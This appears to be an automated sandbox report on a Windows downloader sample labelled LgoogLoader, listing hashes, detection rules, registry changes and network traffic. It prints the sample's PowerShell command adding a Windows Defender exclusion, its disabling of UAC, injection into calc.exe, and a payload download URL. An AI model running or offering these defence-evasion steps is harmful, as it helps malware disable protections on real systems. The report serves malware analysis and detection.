lgoogloader | c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75 | Triage

Analysis

max time kernel
91s
max time network
121s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
12/02/2024, 04:30 UTC

Sharing

Report Analysis Logs

General

Target

c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe
Size

40KB
MD5

fcb6adcf738982cca1afdf3710ba489b
SHA1

5b62a4044f9598085ea48d1984d901c85ec88723
SHA256

c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75
SHA512

40d64e13d0d34efeb1c1c3dc4f3755a393aab85baa2e29f3f9587300d3142d68cc4eb00fe274b2337b4cd1d3a2fa89bdf484fd0c484d36abe2cdd89d26142b4e
SSDEEP

768:Gro0B38UZCob4fgl4zmzU6+8NaL7oRoEOqBEFiRmmY:GJsI0gl4zYQ7aoEOUeiZY

Score

10^/10

lgoogloader downloader evasion trojan

Malware Config

Signatures

Detects LgoogLoader payload 1 IoCs

resource	yara_rule
behavioral2/memory/4648-18-0x0000000000BE0000-0x0000000000BED000-memory.dmp	family_lgoogloader

LgoogLoader
A downloader capable of dropping and executing other malware families.
downloader lgoogloader

UAC bypass 3 TTPs 1 IoCs

Bypass User Account Control

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe = "0"	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe

Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF 1 IoCs

resource	yara_rule
behavioral2/memory/2424-8-0x0000000008DC0000-0x0000000008FB2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD

Detects Windows executables referencing non-Windows User-Agents 1 IoCs

resource	yara_rule
behavioral2/memory/4648-18-0x0000000000BE0000-0x0000000000BED000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs

resource	yara_rule
behavioral2/memory/2424-8-0x0000000008DC0000-0x0000000008FB2000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Detects executables embedding command execution via IExecuteCommand COM object 1 IoCs

resource	yara_rule
behavioral2/memory/2424-8-0x0000000008DC0000-0x0000000008FB2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM

Detects executables potentially checking for WinJail sandbox window 2 IoCs

resource	yara_rule
behavioral2/memory/2424-8-0x0000000008DC0000-0x0000000008FB2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Anti_WinJail
behavioral2/memory/2424-8-0x0000000008DC0000-0x0000000008FB2000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe = "0"	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2424 set thread context of 4648	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	86

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2560	powershell.exe
2560	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2560	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2424 wrote to memory of 2560	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	85
PID 2424 wrote to memory of 2560	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	85
PID 2424 wrote to memory of 2560	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	85
PID 2424 wrote to memory of 4648	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	86
PID 2424 wrote to memory of 4648	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	86
PID 2424 wrote to memory of 4648	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	86
PID 2424 wrote to memory of 4648	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	86
PID 2424 wrote to memory of 4648	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	86
PID 2424 wrote to memory of 4648	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	86
PID 2424 wrote to memory of 4648	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	86
PID 2424 wrote to memory of 4648	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	86
PID 2424 wrote to memory of 4648	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	86
PID 2424 wrote to memory of 4648	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	86
PID 2424 wrote to memory of 4648	2424	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe	86

System policy modification 1 TTPs 1 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe

C:\Users\Admin\AppData\Local\Temp\c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe
"C:\Users\Admin\AppData\Local\Temp\c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe"
1⤵
- UAC bypass
- Windows security bypass
- Checks computer location settings
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2424
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2560
- C:\Windows\SysWOW64\calc.exe
  "C:\Windows\SYSWOW64\calc.exe"
  2⤵
  PID:4648

Network

DNS

win32avemaria.com

c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe

Remote address:

8.8.8.8:53

Request

win32avemaria.com

IN A

Response

win32avemaria.com

IN A

104.21.44.169

win32avemaria.com

IN A

172.67.201.151
GET

http://win32avemaria.com/get/65c8394c1b03047c18291f8a

c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe

Remote address:

104.21.44.169:80

Request

GET /get/65c8394c1b03047c18291f8a HTTP/1.1
Host: win32avemaria.com
Connection: close

Response

HTTP/1.1 200 OK

Date: Mon, 12 Feb 2024 06:50:17 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Cache-Control: no-cache, no-store, max-age=0
X-Powered-By: ASP.NET
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=KBs7qG8%2BQVAxiG9R%2FS6VQ4myx76Qme%2FS05F0l7B6XF4uRFKPNfptibjwFNFBuNbodcg%2FzqHFlJmA6jokfv%2FUuyx%2Bb80v2F6Xx1Z27hy4GBIO05mL5luvY81DnzqSxU7ml4F4Cg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8542e5838e4471b1-LHR
alt-svc: h3=":443"; ma=86400
DNS

13.86.106.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

13.86.106.20.in-addr.arpa

IN PTR
DNS

169.44.21.104.in-addr.arpa

Remote address:

8.8.8.8:53

Request

169.44.21.104.in-addr.arpa

IN PTR
DNS

194.178.17.96.in-addr.arpa

Remote address:

8.8.8.8:53

Request

194.178.17.96.in-addr.arpa

IN PTR
DNS

74.32.126.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

74.32.126.40.in-addr.arpa

IN PTR

Response
DNS

95.221.229.192.in-addr.arpa

Remote address:

8.8.8.8:53

Request

95.221.229.192.in-addr.arpa

IN PTR

Response
DNS

183.59.114.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

183.59.114.20.in-addr.arpa

IN PTR

Response
DNS

15.164.165.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

15.164.165.52.in-addr.arpa

IN PTR

Response
DNS

18.134.221.88.in-addr.arpa

Remote address:

8.8.8.8:53

Request

18.134.221.88.in-addr.arpa

IN PTR

Response

18.134.221.88.in-addr.arpa

IN PTR

a88-221-134-18deploystaticakamaitechnologiescom
DNS

180.178.17.96.in-addr.arpa

Remote address:

8.8.8.8:53

Request

180.178.17.96.in-addr.arpa

IN PTR

Response

180.178.17.96.in-addr.arpa

IN PTR

a96-17-178-180deploystaticakamaitechnologiescom
DNS

13.227.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

13.227.111.52.in-addr.arpa

IN PTR

Response

104.21.44.169:80

http://win32avemaria.com/get/65c8394c1b03047c18291f8a

http

c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe

46.7kB
2.1MB
925
1489

HTTP Request

GET http://win32avemaria.com/get/65c8394c1b03047c18291f8a

HTTP Response

200

8.8.8.8:53

win32avemaria.com

dns

c4290abc9b05d22cb4112768759acf854f881d08e697528fa2549740f89b9d75.exe

63 B
95 B
1
1

DNS Request

win32avemaria.com

DNS Response

104.21.44.169

172.67.201.151
8.8.8.8:53

13.86.106.20.in-addr.arpa

dns

71 B
1

DNS Request

13.86.106.20.in-addr.arpa
8.8.8.8:53

169.44.21.104.in-addr.arpa

dns

72 B
1

DNS Request

169.44.21.104.in-addr.arpa
8.8.8.8:53

194.178.17.96.in-addr.arpa

dns

72 B
1

DNS Request

194.178.17.96.in-addr.arpa
8.8.8.8:53

74.32.126.40.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

74.32.126.40.in-addr.arpa
8.8.8.8:53

95.221.229.192.in-addr.arpa

dns

73 B
144 B
1
1

DNS Request

95.221.229.192.in-addr.arpa
8.8.8.8:53

183.59.114.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

183.59.114.20.in-addr.arpa
8.8.8.8:53

15.164.165.52.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

15.164.165.52.in-addr.arpa
8.8.8.8:53

18.134.221.88.in-addr.arpa

dns

72 B
137 B
1
1

DNS Request

18.134.221.88.in-addr.arpa
8.8.8.8:53

180.178.17.96.in-addr.arpa

dns

72 B
137 B
1
1

DNS Request

180.178.17.96.in-addr.arpa
8.8.8.8:53

13.227.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

13.227.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

Bypass User Account Control

Defense Evasion

Abuse Elevation Control Mechanism

Bypass User Account Control

Impair Defenses

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hz4mw04o.gqo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2424-19-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/2424-0-0x0000000000A70000-0x0000000000A7E000-memory.dmp

Filesize
56KB

Download
memory/2424-2-0x0000000002E80000-0x0000000002E9A000-memory.dmp

Filesize
104KB

Download
memory/2424-3-0x0000000005B40000-0x00000000060E4000-memory.dmp

Filesize
5.6MB

Download
memory/2424-4-0x0000000005480000-0x0000000005512000-memory.dmp

Filesize
584KB

Download
memory/2424-5-0x0000000005670000-0x0000000005680000-memory.dmp

Filesize
64KB

Download
memory/2424-6-0x0000000005540000-0x000000000554A000-memory.dmp

Filesize
40KB

Download
memory/2424-7-0x0000000007D00000-0x0000000007D9C000-memory.dmp

Filesize
624KB

Download
memory/2424-8-0x0000000008DC0000-0x0000000008FB2000-memory.dmp

Filesize
1.9MB

Download
memory/2424-1-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/2560-52-0x0000000006D40000-0x0000000006D5A000-memory.dmp

Filesize
104KB

Download
memory/2560-14-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/2560-62-0x00000000745B0000-0x0000000074D60000-memory.dmp

Filesize
7.7MB

Download
memory/2560-20-0x0000000000E00000-0x0000000000E10000-memory.dmp

Filesize
64KB

Download
memory/2560-59-0x0000000007060000-0x0000000007068000-memory.dmp

Filesize
32KB

Download
memory/2560-29-0x0000000005390000-0x00000000053F6000-memory.dmp

Filesize
408KB

Download
memory/2560-11-0x0000000000C70000-0x0000000000CA6000-memory.dmp

Filesize
216KB

Download
memory/2560-22-0x0000000004CF0000-0x0000000004D56000-memory.dmp

Filesize
408KB

Download
memory/2560-21-0x0000000004A50000-0x0000000004A72000-memory.dmp

Filesize
136KB

Download
memory/2560-57-0x0000000006F80000-0x0000000006F94000-memory.dmp

Filesize
80KB

Download
memory/2560-16-0x0000000000E00000-0x0000000000E10000-memory.dmp

Filesize
64KB

Download
memory/2560-33-0x0000000005630000-0x0000000005984000-memory.dmp

Filesize
3.3MB

Download
memory/2560-15-0x0000000004D60000-0x0000000005388000-memory.dmp

Filesize
6.2MB

Download
memory/2560-34-0x0000000005A10000-0x0000000005A2E000-memory.dmp

Filesize
120KB

Download
memory/2560-35-0x0000000005FF0000-0x000000000603C000-memory.dmp

Filesize
304KB

Download
memory/2560-58-0x0000000007080000-0x000000000709A000-memory.dmp

Filesize
104KB

Download
memory/2560-48-0x0000000005F60000-0x0000000005F7E000-memory.dmp

Filesize
120KB

Download
memory/2560-50-0x0000000006C60000-0x0000000006D03000-memory.dmp

Filesize
652KB

Download
memory/2560-51-0x0000000007390000-0x0000000007A0A000-memory.dmp

Filesize
6.5MB

Download
memory/2560-56-0x0000000006F70000-0x0000000006F7E000-memory.dmp

Filesize
56KB

Download
memory/2560-53-0x0000000006DB0000-0x0000000006DBA000-memory.dmp

Filesize
40KB

Download
memory/2560-49-0x0000000000E00000-0x0000000000E10000-memory.dmp

Filesize
64KB

Download
memory/2560-38-0x0000000070470000-0x00000000704BC000-memory.dmp

Filesize
304KB

Download
memory/2560-37-0x0000000006A20000-0x0000000006A52000-memory.dmp

Filesize
200KB

Download
memory/2560-36-0x000000007FAB0000-0x000000007FAC0000-memory.dmp

Filesize
64KB

Download
memory/2560-54-0x0000000006FC0000-0x0000000007056000-memory.dmp

Filesize
600KB

Download
memory/2560-55-0x0000000006F40000-0x0000000006F51000-memory.dmp

Filesize
68KB

Download
memory/4648-10-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4648-12-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4648-17-0x0000000000BB0000-0x0000000000BB9000-memory.dmp

Filesize
36KB

Download
memory/4648-9-0x0000000000400000-0x0000000000440000-memory.dmp

Filesize
256KB

Download
memory/4648-18-0x0000000000BE0000-0x0000000000BED000-memory.dmp

Filesize
52KB

Download